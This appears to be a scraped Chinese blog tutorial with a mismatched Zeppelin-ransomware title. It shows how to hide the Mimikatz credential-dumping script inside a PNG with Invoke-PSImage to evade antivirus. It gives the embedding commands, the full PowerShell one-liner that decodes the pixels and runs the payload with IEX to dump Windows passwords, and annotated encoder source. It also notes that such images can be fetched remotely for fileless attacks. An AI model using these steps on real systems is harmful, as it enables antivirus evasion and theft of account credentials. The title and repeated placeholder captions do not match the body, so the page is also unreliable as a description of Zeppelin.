「預警」具有超高可配置性的Zeppelin勒索病毒來襲

前言

隨著現在殺毒軟件的不斷更新和升級,如何才能把惡意代碼上傳到攻擊者的服務器而不被殺毒軟件所查殺,恐怕是黑產相關人員永遠繞不過的話題。最近看到一則消息,有一款挖礦病毒【MyKingz】為了隱藏自身的惡意代碼,將代碼隱藏在taylor swift的圖像中,以實現免殺的效果。接下來我將以實例演示,看看惡意代碼是如何隱藏在圖片中並進行調用的。

惡意代碼隱藏實例及演示

環 境

windows server 2008r2

Invoke-PSImage[https://github.com/peewpw/Invoke-PSImage]

Invoke-Mimikatz.ps1

Invoke-PSImage是一款powershell腳本,主要功能是將powershell代碼隱藏在圖片的相關位。

Invoke-Mimikatz,這個可能很多人都知道,可以抓取windows系統的明文賬號密碼,是黑客在滲透測試常利用的一款腳本,使用方法如下:

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

通過virustotal檢測。

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

目前絕大部分殺軟都會查殺這個腳本。

接下來powershell導入Invoke-PSImage

➣ Import-Module .\\Invoke-PSimage.ps1

➣ Invoke-PSImage -Script .\\Invoke-Mimikatz.ps1 -Out .\\sojrs_mimikatz.png -image .\\images\\sojrs-2.png

這裡-script表示你要寫入圖片中的powershell腳本,-image 表示待寫入惡意代碼的圖片,-Out 表示最後寫入成功的圖片,powershell的腳本將會隱藏在這個圖片。

執行成功之後,會生成一條命令,通過該命令可以讀取圖片中的惡意代碼並執行。

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

可以看到,植入惡意代碼的圖片仍能正常顯示,和原圖相比,有些許不同。

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

通過virustotal檢查sojrs_mimikatz.png,沒有一款檢測出來,成功繞過所有的殺軟件。

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

利用該圖片讀取系統賬號密碼

Sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("C:\\\\users\\sojrs\\Desktop\\Invoke-PSImage\\sojrs_mimikatz.png");$o=a Byte[] 2205000;(0..1469)|%{foreach($x in(0..1499)){$p=$g.GetPixel($x,$_);$o[$_*1500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..2204116]));invoke-Mimikatz

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

因此通過Invoke-PSImage,我們成功把惡意的mimikatz的密碼抓取腳本隱藏在圖片當中,並通過一條命令執行了密碼抓取功能,且成功繞過所有殺毒軟件的查殺。

PSImage分析

這裡主要有2個問題:

1.PSImage是怎麼把惡意代碼寫入到圖片的?

2.Powershell是怎麼調用圖片中的惡意代碼的?

這些問題,我們可以閱讀一下invoke-PSImage的源碼來分析一下。

在這之前先簡單瞭解一個概念,圖片是以像素為單位的,一個像素點用rgb模式即為rgb(0x66,0x67,0x68) ,所以一個像素點是3個字節共24位。那麼PSImage主要原理就是將payload轉為字節後,每個字節保存到圖片的每個像素中。比如我想保存字母A(0x41),二進制表示為(01000001),高4位為0100,低4位為0001。此時PSImage將會把高4位保存在某個像素點顏色分量B的低4位,將payload的低4位保存在顏色分量G的低4位。最後按照這種規律讀取圖片中的響應的低4位做拼接,轉為字符後執行相關腳本命令。因為rgb模式,其中顏色分量主要取決於高4位,低4位的變動從人體感官上很難感知到顏色的變化,所以這裡替換的均為顏色分量的低4位。

圖示如下:

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

瞭解到以上的基本原理之後,我們來看一下PSImage的關鍵實現代碼

for ($counter = 0; $counter -lt ($rgbValues.Length)/3; $counter++) {

if ($counter -lt $payload.Length){

$paybyte1 = [math]::Floor($payload[$counter]/16)

$paybyte2 = ($payload[$counter] -band 0x0f)

$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)

#讀取payload的前後4位,paybyte1為前4位,paybyte2為後4位,band=&與運算,bor=|或運算,paybyte3為隨機數,無關緊要

#以payload[$counter]=A為例分析,

#paybyte1=0x41/0x01 取商為0x04,即取出了payload的高四位

#paybyte2=0x41 & 0x0f == 0x01,即取出了payload的低四位

} else {

$paybyte1 = ($randb[$counter%113] -band 0x0f)

$paybyte2 = ($randb[($counter+1)%67] -band 0x0f)

$paybyte3 = ($randb[($counter+2)%109] -band 0x0f)

#若計數器大於payload長度,則填充隨機數

}

$rgbValues[($counter*3)] = ($rgbValues[($counter*3)] -band 0xf0) -bor $paybyte1

#這裡rgbvalues($counter*3)表示B顏色分量,rgbValues[($counter*3+1)表示G顏色分量,分別與原來圖片的低4位進行或運算從而保存

$rgbValues[($counter*3+1)] = ($rgbValues[($counter*3+1)] -band 0xf0) -bor $paybyte2

$rgbValues[($counter*3+2)] = ($rgbValues[($counter*3+2)] -band 0xf0) -bor $paybyte3

}

以上這段就是保存payload到圖片中的核心代碼,即為圖示的原理,解決了我們之前提出的第一個問題。

針對第二個問題,現在瞭解了第一個問題之後,現在應該心裡有個數了,無非就是逆向回去,讀取惡意圖片的gb顏色分量的低4位,轉為字符後調用powershell執行相關命令,下面看下代碼的實例,這裡為便於觀看,用我執行sojrs_mimikatz.png的命令解讀

sal a New-Object;

Add-Type -A System.Drawing;

$g=a System.Drawing.Bitmap("C:\\Users\\sojrs\\Desktop\\sojrs_mimikatz.png");

$o=a Byte[] 2877;

(0..2)|%{foreach($x in(0..958))

{$p=$g.GetPixel($x,$_);

$o[$_*959+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};

#逆向過程,循環讀取惡意圖片像素中的B,G顏色分量的低4位,並將B的低4位進行進位,然後或運算後即為payload的字節表達式

$g.Dispose();

IEX([System.Text.Encoding]::ASCII.GetString($o[0..2839]))

#將payload轉為字符

最終即獲取到了一個惡意代碼的對象,如果想要執行該對象的相關方法,後面添加分號即可,以mimikatz讀取系統密碼為例

「預警」具有超高可配置性的Zeppelin勒索病毒來襲

點擊添加圖片描述(最多60個字)

總結

1.圖片只是用於隱藏惡意代碼。

2.通過簡單的腳本命令可以讀取圖片的相關位並轉回成惡意代碼。

3.惡意圖片可以不在本地,通過web訪問獲取,從而實現無文件讀取密碼、勒索、挖礦等。但考慮到穩定性,勒索病毒一般還是會放在本地。

4.這種攻擊形式類似於dll注入,只是惡意代碼不是放在dll文件中,而是隱藏在圖片中。


分享到:


相關文章: